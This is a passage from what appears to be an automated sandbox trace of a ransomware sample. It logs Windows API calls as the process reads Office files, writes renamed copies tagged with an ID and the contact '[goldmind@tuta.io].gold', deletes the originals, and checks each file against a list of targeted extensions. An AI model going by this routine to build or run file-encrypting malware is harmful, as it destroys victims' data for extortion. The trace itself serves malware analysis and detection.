office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.278] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=113) returned 1 [0105.278] CloseHandle (hObject=0x39c) returned 1 [0105.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 0x20 [0105.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.279] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.279] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.280] GetLastError () returned 0x0 [0105.280] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x71, lpOverlapped=0x0) returned 1 [0105.281] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.281] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.281] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0105.282] SetEndOfFile (hFile=0x3b0) returned 1 [0105.282] CloseHandle (hObject=0x3b0) returned 1 [0105.282] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.282] SetEndOfFile (hFile=0x39c) returned 1 [0105.284] CloseHandle (hObject=0x39c) returned 1 [0105.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 1 [0105.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".doc") returned 4 [0105.285] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.285] lstrlenW (lpString=".docx") returned 5 [0105.285] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.285] lstrlenW (lpString=".pdf") returned 4 [0105.285] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".xls") returned 4 [0105.285] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".xlsx") returned 5 [0105.285] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.285] lstrlenW (lpString=".ppt") returned 4 [0105.285] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".zip") returned 4 [0105.285] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".rar") returned 4 [0105.285] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".bz2") returned 4 [0105.285] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.285] lstrlenW (lpString=".7z") returned 3 [0105.285] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".dbf") returned 4 [0105.285] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".1cd") returned 4 [0105.285] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".jpg") returned 4 [0105.285] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".doc") returned 4 [0105.285] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.285] lstrlenW (lpString=".docx") returned 5 [0105.285] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.285] lstrlenW (lpString=".pdf") returned 4 [0105.285] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".xls") returned 4 [0105.285] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".xlsx") returned 5 [0105.285] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.285] lstrlenW (lpString=".ppt") returned 4 [0105.285] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.285] lstrlenW (lpString=".zip") returned 4 [0105.285] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".rar") returned 4 [0105.285] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.285] lstrlenW (lpString=".bz2") returned 4 [0105.285] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.285] lstrlenW (lpString=".7z") returned 3 [0105.286] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.286] lstrlenW (lpString=".dbf") returned 4 [0105.286] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.286] lstrlenW (lpString=".1cd") returned 4 [0105.286] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0105.286] lstrlenW (lpString=".jpg") returned 4 [0105.286] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.286] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0105.286] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0105.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.286] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=128864) returned 1 [0105.286] CloseHandle (hObject=0x39c) returned 1 [0105.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll")) returned 0x20 [0105.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString=".doc") returned 4 [0105.287] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString=".docx") returned 5 [0105.287] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0105.287] lstrlenW (lpString=".pdf") returned 4 [0105.287] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString=".xls") returned 4 [0105.287] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString=".xlsx") returned 5 [0105.287] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0105.287] lstrlenW (lpString=".ppt") returned 4 [0105.287] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString=".zip") returned 4 [0105.287] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString=".rar") returned 4 [0105.287] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString=".bz2") returned 4 [0105.287] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.287] lstrlenW (lpString=".7z") returned 3 [0105.287] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString=".dbf") returned 4 [0105.287] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString=".1cd") returned 4 [0105.287] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString=".jpg") returned 4 [0105.287] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.287] lstrlenW (lpString=".doc") returned 4 [0105.287] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.287] lstrlenW (lpString=".docx") returned 5 [0105.287] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0105.287] lstrlenW (lpString=".pdf") returned 4 [0105.287] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.288] lstrlenW (lpString=".xls") returned 4 [0105.288] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.288] lstrlenW (lpString=".xlsx") returned 5 [0105.288] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0105.288] lstrlenW (lpString=".ppt") returned 4 [0105.288] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.288] lstrlenW (lpString=".zip") returned 4 [0105.288] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.288] lstrlenW (lpString=".rar") returned 4 [0105.288] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.288] lstrlenW (lpString=".bz2") returned 4 [0105.288] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.288] lstrlenW (lpString=".7z") returned 3 [0105.288] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.288] lstrlenW (lpString=".dbf") returned 4 [0105.288] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.288] lstrlenW (lpString=".1cd") returned 4 [0105.288] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0105.288] lstrlenW (lpString=".jpg") returned 4 [0105.288] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.288] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0105.288] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0105.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.289] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=11136) returned 1 [0105.289] CloseHandle (hObject=0x39c) returned 1 [0105.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 0x20 [0105.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.290] GetLastError () returned 0x0 [0105.290] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x2b80, lpOverlapped=0x0) returned 1 [0105.461] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0105.462] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.462] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0105.462] SetEndOfFile (hFile=0x3b0) returned 1 [0105.462] CloseHandle (hObject=0x3b0) returned 1 [0105.465] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.465] SetEndOfFile (hFile=0x39c) returned 1 [0105.466] CloseHandle (hObject=0x39c) returned 1 [0105.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 1 [0105.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.595] lstrlenW (lpString=".doc") returned 4 [0105.595] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.595] lstrlenW (lpString=".docx") returned 5 [0105.595] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.595] lstrlenW (lpString=".pdf") returned 4 [0105.595] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.595] lstrlenW (lpString=".xls") returned 4 [0105.595] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.595] lstrlenW (lpString=".xlsx") returned 5 [0105.595] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.595] lstrlenW (lpString=".ppt") returned 4 [0105.595] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.595] lstrlenW (lpString=".zip") returned 4 [0105.595] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.595] lstrlenW (lpString=".rar") returned 4 [0105.595] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".bz2") returned 4 [0105.596] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".7z") returned 3 [0105.596] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".dbf") returned 4 [0105.596] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".1cd") returned 4 [0105.596] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".jpg") returned 4 [0105.596] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".doc") returned 4 [0105.596] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".docx") returned 5 [0105.596] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.596] lstrlenW (lpString=".pdf") returned 4 [0105.596] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".xls") returned 4 [0105.596] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".xlsx") returned 5 [0105.596] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.596] lstrlenW (lpString=".ppt") returned 4 [0105.596] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".zip") returned 4 [0105.596] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".rar") returned 4 [0105.596] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".bz2") returned 4 [0105.596] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString=".7z") returned 3 [0105.596] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".dbf") returned 4 [0105.596] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".1cd") returned 4 [0105.596] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0105.596] lstrlenW (lpString=".jpg") returned 4 [0105.596] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.596] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0105.596] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0105.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.647] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=154496) returned 1 [0105.647] CloseHandle (hObject=0x3c8) returned 1 [0105.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll")) returned 0x20 [0105.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString=".doc") returned 4 [0105.974] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".docx") returned 5 [0105.974] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0105.974] lstrlenW (lpString=".pdf") returned 4 [0105.974] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".xls") returned 4 [0105.974] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".xlsx") returned 5 [0105.974] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0105.974] lstrlenW (lpString=".ppt") returned 4 [0105.974] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString=".zip") returned 4 [0105.974] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".rar") returned 4 [0105.974] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".bz2") returned 4 [0105.974] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.974] lstrlenW (lpString=".7z") returned 3 [0105.974] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString=".dbf") returned 4 [0105.974] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString=".1cd") returned 4 [0105.974] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString=".jpg") returned 4 [0105.974] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.974] lstrlenW 